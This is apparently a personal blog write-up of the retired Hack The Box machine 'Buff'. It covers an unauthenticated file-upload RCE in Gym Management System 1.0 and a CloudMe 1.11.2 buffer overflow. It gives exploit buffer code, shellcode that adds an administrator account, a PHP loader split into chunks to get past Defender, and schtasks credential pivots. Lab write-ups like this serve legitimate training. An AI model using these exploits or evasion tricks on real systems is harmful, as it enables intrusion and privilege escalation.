~ / foobarto.me / htb-machines
--:--:-- UTC
~ / htb-machines / buff.md

buff

Windows · Easy · released 2020-07-18 · retired 2020-11-21

Summary

Buff is a Windows Easy with a two-stage chain: unauthenticated file-upload RCE in Gym Management System 1.0 for initial access, and a CloudMe 1.11.2 stack-based buffer overflow (delivered through a chisel reverse port forward) for privilege escalation to Administrator. The first stage is a known public exploit (ExploitDB 48506) that bypasses the upload filter using a double extension and PNG magic bytes. The second stage requires forwarding a localhost- only port from the victim to the attacker and then replacing the shellcode in a public BoF PoC.

Kill-chain: Apache on port 8080 → Gym Management System 1.0 → ExploitDB 48506 unauthenticated upload → shaun webshell → netcat reverse shell → netstat finds CloudMe on 127.0.0.1:8888 → chisel reverse port forward → msfvenom shellcode replaces placeholder in CloudMe 1.11.2 BoF PoC → buff\administrator.

Source attribution

Recon

nmap -p- --min-rate 10000 -oA nmap/alltcp <TARGET>
nmap -p 7680,8080 -sCV -oA nmap/scripts <TARGET>
7680/tcp  open  pando-pub?         (Windows Delivery Optimization peer port)
8080/tcp  open  http               Apache httpd 2.4.43 (Win64) PHP/7.4.6

Port 7680 is Windows BranchCache/Delivery Optimization — not exploitable. Port 8080 is Apache on Windows with PHP, the primary attack surface.

Web enumeration — Gym Management System 1.0

gobuster dir -u http://<TARGET>:8080 \
    -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt \
    -x php -t 40

Key findings: /upload.php, /admin, /profile, /upload.

The copyright footer and /README.md identify the application as Gym Management System 1.0 by Projectworlds.in.

Foothold — unauthenticated RCE via file upload bypass

Gym Management System 1.0 has a public unauthenticated RCE (ExploitDB 48506):

searchsploit gym management
# → php/webapps/48506.py
searchsploit -m php/webapps/48506.py

How the exploit works:

The /upload.php endpoint accepts file uploads without authentication. It checks the file extension and MIME type, but both can be bypassed:

The exploit drops a PHP webshell and enters an interactive command loop:

python 48506.py http://<TARGET>:8080/
# [+] Successfully connected to webshell.
# C:\xampp\htdocs\gym\upload>

On the rebuild, whoami /groups for shaun returns only BUILTIN\UsersSet-MpPreference -DisableRealtimeMonitoring is silently ignored (requires admin). Defender real-time also quarantines nc.exe/staged binaries on download, so the staged SMB-share + nc.exe pattern from 0xdf’s writeup no longer works end-to-end. The webshell still gives directory enumeration and direct file reads, which is sufficient to grab user.txt without upgrading:

curl 'http://<TARGET>:8080/upload/kamehameha.php?c=type+C:\Users\shaun\Desktop\user.txt'

whoami confirms buff\shaun.

Privilege escalation — CloudMe 1.11.2 buffer overflow

Discover internal services:

netstat -ano | findstr TCP | findstr ":0"
TCP    127.0.0.1:3306    0.0.0.0:0    LISTENING  (MySQL)
TCP    127.0.0.1:8888    0.0.0.0:0    LISTENING  2820

Identify the process on port 8888:

tasklist /v | findstr 2820
# CloudMe.exe    2820

Confirm the version from the installer in Downloads:

C:\Users\shaun\Downloads\CloudMe_1112.exe  ← version 1.11.2

CloudMe 1.11.2 has a public stack-based buffer overflow (ExploitDB 48389) on the unauthenticated handler. The PoC’s offset (1052 bytes) and EIP gadget (0x68A842B5PUSH ESP, RET) are still correct on this rebuild. The challenge is delivering the buffer past Defender:

Working delivery path: PHP fsockopen directly on the victim. The webshell already runs inside Apache; PHP can open a TCP socket to 127.0.0.1:8888 without involving PowerShell at all. The base64 buffer is split across many base64_decode("…") calls so the raw shellcode never sits as one contiguous blob in any source file or on disk.

# Build the BoF buffer, embedded shellcode does:
#   "cmd.exe /c net user pwn3d Pa$$w0rd123 /add &&
#    net localgroup administrators pwn3d /add"
# Encoded with msfvenom -e x86/shikata_ga_nai -i 5 -b '\x00\x0a\x0d'
padding1 = b'\x90' * 1052
EIP      = b'\xB5\x42\xA8\x68'
NOPS     = b'\x90' * 30
payload  = bytes.fromhex(open('sc.hex').read().strip())
overrun  = b'C' * max(0, 1500 - len(padding1+NOPS+EIP+payload))
buf = padding1 + EIP + NOPS + payload + overrun
// snd.php — uploaded via the same Gym RCE upload primitive
<?php
$b = "";
$b .= base64_decode("kJCQ…"); // ~25 chunks

$f = @fsockopen("127.0.0.1", 8888, $en, $es, 5);
fwrite($f, $b); fflush($f); fclose($f);

Hit /upload/snd.php once — CloudMe’s stack overflows, the shellcode runs as SYSTEM (CloudMe is in SessionId=0), and pwn3d shows up as a local administrator immediately. CloudMe gets unstable after the first BoF (subsequent connects from PHP or PowerShell hit “actively refused” even though netstat still shows LISTENING), so plan to land everything in a single shot.

Pivot from pwn3d to root.txt without WinRM/SMB. WinRM (5985/5986) and SMB (445) are firewalled off-host, and Windows’ loopback-auth check denies net use \\127.0.0.1\C$ /user:pwn3d with System error 5. Schtasks /RU accepts plaintext creds and runs in the target user’s context locally, which sidesteps both restrictions:

schtasks /create /tn x /tr "cmd /c type C:\Users\Administrator\Desktop\root.txt > C:\Users\Public\r.txt" /ru pwn3d /rp "Pa$$w0rd123" /sc once /st 00:00 /F
schtasks /run /tn x

Then read C:\Users\Public\r.txt over the existing webshell.

Why each step worked

Counterfactuals

Key Takeaways

References

← all htb machines hackthebox.com ↗